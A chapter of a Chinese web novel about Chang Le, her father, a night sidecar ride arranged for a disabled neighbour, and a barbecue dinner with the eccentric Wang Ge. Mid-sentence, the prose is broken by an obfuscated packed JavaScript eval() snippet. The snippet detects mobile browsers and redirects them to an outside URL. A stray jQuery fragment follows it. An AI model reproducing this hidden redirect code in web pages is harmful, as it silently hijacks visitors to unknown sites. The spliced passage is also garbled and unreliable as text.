回去的路上,还是常建民开车,常乐依旧躺在后座,优哉游哉地睡起了午觉。
“我说,”常建民趁常乐还没睡着,抓紧时间问道,“吃完饭后,你跟方师傅在院子里嘀嘀咕咕什么呢?”
常乐闭着眼,懒洋洋地说:“他要加我微信,说以后常联系。”
“哟,进展迅速啊。”常建民调侃道。
“什么进展?”常乐斜瞟他一眼,“他只是想让我继续劝劝方煦。”
“那你应该去加方煦的微信啊。”
“……”常乐坐起身,一脸严肃地说:“爸,你是不是偷偷加入我们小区的情报站了?你八卦的嘴脸,跟那些大姨一模一样。”
常建民呵呵笑道:“我这也是关心你嘛……算了,你们年轻人的事,我就不掺和了。”
常乐又躺回后座,脱了鞋,双腿竖起,靠在车窗上,把自己折成一个直角。
常建民不疾不徐地开着车,继续说:“你刚回来那几天,你妈跟我说,你抱着她哭得稀里哗啦的,说自己没出息,丢人,不想上班,不想做驴了。”
“哎哟!你怎么还记得?”常乐顿时羞得面红耳赤。
人在深夜emo时说的那些矫情的话,白天再听一遍都觉得羞耻,更不用说隔了两个多月,从她爸的嘴里说出来,感觉更社死了。
常建民笑了笑,“说实话,我们都挺担心的,怕你从此一蹶不振。现在看来,你倒是想得挺通透的嘛。你劝方煦的那些话,也可以用在自己身上啊,不要躺平,不要停止前进,不要放弃人生的可能性。”
常乐双手捂住脸,闷闷地说:“道理大家都懂,可是做起来很难啊。方煦还年轻,如果现在回到学校,读完高中读大学,七年后就可以找工作了。那时候,也许一切都会变好。那我呢?这七年,我怎么办?卷又卷不动,躺又躺不平。”
常建民沉默许久,说:“我还是觉得,人不能躺平,一旦躺下,就很难再爬起来了。”
常乐微微叹气:“可是躺着真的很爽啊。俗话说,舒服不如躺着,好吃不如——”
话未说完,车子突然来了个急刹,她猛地从后座滚了下去,双腿向前一倒,砸在常建民的脑袋上。
“哎哟——”父女俩同时发出哀嚎。
常乐整个人呈倒栽葱的姿势,卡在前后座之间,上半身动弹不得,只剩两条腿在空中扑腾着。
她捂着脑袋叫唤:“怎么回事啊?”
“路口突然冲出来一条狗,还好我反应及时。”常建民揉揉脑袋,转过头,查看她的伤情,“没事吧?”
常乐手肘撑在后座上,艰难地爬了起来,转了转脖子,又活动了一下手腕脚腕。
没啥大碍,就是精神上受到了惊吓。
“我就说人不能躺着吧。”常建民意味深长地说,“来的时候是上山,你躺着还算安全,现在是下山,随便出现个意外,就能让你摔个狗吃屎,轻则小磕碰,重则脑震荡。”
“……”常乐捋了捋蓬乱的头发,愁眉苦脸地说:“这种时候就别说教了。”
常建民轻踩油门,轻哼一声,神色得意,“看你还敢不敢躺。”
--
接下来的几天,气温逐渐攀升,街上的年轻人都迫不及待地换上了春装。
依照姥姥的判断,早春已至,之后肯定不会再降温了。常乐这才脱下那身黑色长款羽绒服,将它洗净、晒干,然后好好封存在衣柜里。
周三晚上,无风,无云。
夜空清朗,只有一轮将圆未圆的月亮,像缺了一瓣的橘子,悬挂在树梢间。
常乐站在“小易轮滑培训班”门口,双手抄兜,仰头望着月亮,等着易诚和易叔叔出来。
这个时间是她精心挑选过的——
今天气温高,没有风,下雨的可能性为零,适合出门。
过了晚上十点,街边的店铺都关门了,车辆稀少,路人零星,适合骑摩托车夜游。
而且,易诚跟她说过,出院后这几天,易叔叔的生物钟是乱的,醒了就吃,吃完又睡。他吃完晚饭后一般会睡上三、四个小时。这个时间点,他正好醒着。
身后传来一阵轱辘滚地的声音,常乐回过头,笑着迎上去。
易叔叔坐在轮椅上,穿着厚厚的皮夹袄,系着围巾,戴着毛绒帽,被保护得密不透风。
他歪着头,咧开嘴角,冲常乐笑了笑。
“易叔叔,咱们出去玩儿。”她走到轮椅旁边,“高兴吗?”
“啊啊……”易叔叔的嘴角咧得更大了。
易诚推着轮椅,慢慢往前走着,月光从枝叶间漏下来,在他的脸上跳跃。
他边走边说:“这么晚了,还要麻烦你陪我们出来。我爸不愿意白天出门,可能是怕见到熟人吧。”
常乐笑嘻嘻地说:“正好,我也喜欢晚上出门溜达,周围一个人都没有,感觉特别自在。”
正说着,路边的草丛忽然晃动起来,发出“簌簌”的声响。
紧接着,一个黑影蹿了出来,又飞快地钻进了树影里。
“卧槽!!!”常乐吓得一蹦三尺高,“什么玩意儿过去了?”
易诚也吓了一跳,不过他还算镇定,双手紧握住轮椅的把手,皱眉盯着黑影消失的地方,语气不太确定:“应该是狗吧……”
“这么大一只?”
常乐紧张地躲在他身后,只露出半边脑袋,死死盯着那片树影。
没等多久,那只黑影又蹿了出来,还携带着一道光束,在树丛中晃来晃去。
什么巨型变异狗,还会用手电筒?
常乐和易诚蹑手蹑脚地走近,定睛一看,什么狗啊,分明是个瘦长的男人,正趴在地上,撅着屁股,手上举着手机照明。
“王哥?”
“鼠哥?”
瘦长男人回过头,看到两人,起身拍了拍膝盖上的泥土,冲他们点点头。
“巧啊。你们两个约会呢?”
常乐长吁一口气,轻拍着胸口,安抚受到惊吓的小心脏。
她又气又好笑地问:“王哥啊,为什么你每次出场,都是这么……呃,惊悚?”
王哥挠了挠油腻的长发,不好意思地笑笑,说:“抱歉吓到你们了,我正在找狗呢。”
“它又跑了?”易诚问。
“是啊。”王哥叹了口气,“一天要跑八百回,这都是它的常规操作了。”
常乐忍不住吐槽:“活该,叫你遛狗不栓绳。”
“我栓了。”王哥一脸无奈,从裤兜里掏出一根狗绳,“可它一兴奋起来就往前冲,狗绳都给挣脱了。”
常乐和易诚四目相对,一时无言。
王哥重新趴在地上,脸几乎贴到地面,屁股撅得老高,一边举起手机,朝灌木林深处照去,一边小声呼喊:“老狗,老狗,出来吃肉干了,老狗……”
手机发出一声叮响。常乐拿起手机一看,对易诚说:“走吧,方凛已经到了。”
她又对王哥说:“我俩还有点事,先出去一趟。待会儿我再帮你找狗。”
王哥头也不回,冲她摆摆手,“去吧去吧,不耽误你俩约会了。”
--
上次,在农户家吃完饭后,常乐向方凛提出,想借他的边三轮一用,短则一晚,长则一天。
方凛爽快地答应了。
“是你要骑吗?”
常乐摇摇头,“是帮一个朋友借的,他爸爸腿脚不便,我想带他去兜兜风。”
“你们有摩托车驾驶证吗?”
常乐这才想起这一茬。对哦,现在管得严,骑摩托车上路都要求有驾驶证。
“这样吧,”方凛沉吟片刻,给她出了个主意:“我来给你们当司机。咱们加个微信,你把时间地点发给我。”
易诚推着轮椅,跟常乐并肩朝小区大门走去。
门口有家大排档还在营业,颠勺的声音清脆悦耳,烧烤架冒着袅袅的白烟,孜然的香味直往常乐鼻子底下钻。
方凛和他的边三轮已经在大排档门口等候了。
明亮的灯光下,他穿着一件深棕色夹克,脚踩黑色登山靴,胳膊夹着头盔,冲他们招了招手。
常乐向易诚介绍:“这是方凛,传说中的马蜂猎人,还是我爸的师父。”
“别说得这么夸张。”方凛有些不好意思,“我只是靠山吃山,跟那些进山采药的人没什么区别。”
易诚跟他握了握手,“幸会,我叫易诚,是常乐的朋友。”他的手覆在易叔叔的肩膀上,“这位是我爸。”
方凛蹲下身,抓起易叔叔的手,轻轻握了下。
“叔叔你好,今晚就由我当你们的司机了。”
易诚说:“真是麻烦你了。”
“不用客气。”方凛站起身,看向常乐,眼底含笑,“她帮了我一个忙,我也要帮她一个,这才算公平嘛。”
说到帮忙,常乐想起了方煦,急忙问:“对了,你弟回学校了吗?”
方凛点点头,“揍了一顿,终于肯回去了。已经办好了手续,安排他住校了,手机也给没收了。”
揍了一顿……
这么简单吗?
那她那场激情澎湃的演讲又算什么?
“你自己就能解决,也不需要我帮忙啊……”常乐嘀咕道。
“先礼后兵嘛。”方凛笑了,“其实,上次你已经说服了他,但他又好面子,不肯轻易回学校。”
常乐感到费解:“为什么?”
“因为他觉得,被你说了几句就乖乖回学校,很没面子呗。非得我假装发火,揍他一顿,他才肯回去。”
常乐:“……”
中二期少年的脑回路就是这么匪夷所思。
好在结局还算圆满。
未来的几年,希望
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792339|171701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个迷途知返的少年,能坚持走完这段艰难的旅程。
易诚和方凛合力将易叔叔抬进了挎斗里,方凛还在他腰间系上了安全带。易叔叔左看右看,眼里闪烁着兴奋的光。
一切准备就绪后,方凛递给易诚一个头盔,然后长腿一跨,骑上了摩托车。
易诚坐在他身后,戴上头盔。
两人同时看向常乐,冲她挥挥手。
“骑慢点儿,注意安全。”常乐叮嘱道,“碰到减速带一定要慢慢过。”
想当年,她也蹲过边三轮的挎斗,那种颠到腾空的滋味至今还记忆犹新。
“放心吧。”方凛扬起手,向前一挥。
引擎轰鸣,边三轮驶入主干道,渐渐消失在夜色中。
常乐推着空荡荡的轮椅,转身准备回小区。
大排档里,男人激情四射地颠着勺,女人热情地招呼着客人,一个小胖墩端着一盘烤好的肉串儿,从常乐面前经过。
常乐咽了咽口水。
忍一忍,她答应了王哥,要回去帮他找狗的。
--
半个小时后,常乐和王哥坐在大排档的小方桌旁。那条脏兮兮的比格被王哥夹在两腿中间,像蚯蚓一样扭来扭去。
王哥点了份扬州炒饭,饭一上桌,就狼吞虎咽地吃了起来。
常乐本来只点了烤串,见他吃得这么香,忍不住也给自己点了份香肠炒泡面。
“王哥,你还没摸清楚你家老狗的调性吗?它就喜欢往又脏又臭的地方钻。下次别趴地上找了,直接去垃圾回收站或者公厕里找。”
刚刚,常乐在小区里转悠了一圈,听到垃圾桶里有动静,连忙喊王哥过来,他却坚持认为里面是只老鼠。
常乐找了根树枝,往桶里戳来戳去,终于听到一阵标志性的驴叫:“呜儿呜儿呜儿……”
王哥把脸埋进饭里,“唔唔”两声,又说:“老鼠人设,随了我了。”
常乐忍不住想笑:“你这是饿了多久了啊?”
“今天第一顿。”
王哥端起盘子,将剩下的炒饭往嘴里倒,甚至还舔起了盘子。
都说狗随主人,这主人也越来越像狗了。
常乐的炒面上桌了。她往王哥的盘子里扒了一半,自己吃剩下的。
“谢谢。”王哥迫不及待地吃了起来,“这顿我请了。”
常乐连忙摆手,“不用,我请。待会儿我还有两个朋友要来。”
过了一会儿,小胖墩给他们端来了新鲜出炉的烤串。
香喷喷的羊肉串,咬下时,能感受到焦香的外壳在齿间发出细微的碎响,汁水肆意流淌,香辣的滋味瞬间充满了口腔。
常乐左手举着肉串,右手拿着筷子,恨自己只有一张嘴,美味当前,根本忙不过来。
“唔,王哥,”她嘴里塞满了肉,边嚼边说,“我听易诚说,你上了个挺好的大学,毕业后也找了份不错的工作,为什么不继续干下去啊?”
王哥两只手都拿着串儿,一边咬一口,也是边嚼边说:“我得了病,治不好,没办法上班,所以就辞职了。”
“啊?”常乐有些诧异。
原来是身体原因啊?那还挺值得同情的。
“什么病啊?”
王哥低下头,神色有些黯然,一缕黑发垂落在脸颊边。
“我有那种病,上不了班。”
常乐吓得往后一弹,差点从塑料凳上摔下去,手里的串也飞了出去。
“那种病?!”她大呼一声,赶紧抽出几张纸,擦擦嘴,又擦擦手,懊恼道:“你怎么不早说!”
王哥急忙辩解道:“不是你想的那种病!是那种……”
“哪种啊?”
看他那讳莫如深的表情,常乐忽然反应过来:“哦,电线杆上贴的那种病,什么男人的难言之隐?”
隔壁桌一群男女齐刷刷看了过来,都在捂着嘴憋笑。
王哥左顾右盼,紧张地说:“你小点声!不是什么难言之隐,是……”
他叹了口气,压低声音说:“我这种病,学名叫肠易激综合征,分很多种情况。我的症状比较特殊,就是感到紧张、焦虑、压抑的时候,容易放屁、呕吐、腹泻。读书的时候还能控制住,但是工作之后,病情越来越严重,导致我一到公司就开始拉肚子,什么都干不了,领导天天骂我……没办法,我只能辞职了。”
“哦……”常乐恍然大悟,捡起掉在桌上的羊肉串,同情地嚼了起来。
王哥恳求道:“你千万要保密啊。”
常乐不解地问:“为什么啊?这又不是什么传染病,别人知道了也不会歧视你啊。”
王哥把黑发捋到耳后,忧伤地说:“因为,大家知道我有这种病,只要闻到臭味,就会看向我。我成了万屁之源。”
常乐实在没忍住,捂着脸大笑起来,笑得桌子都在颤抖。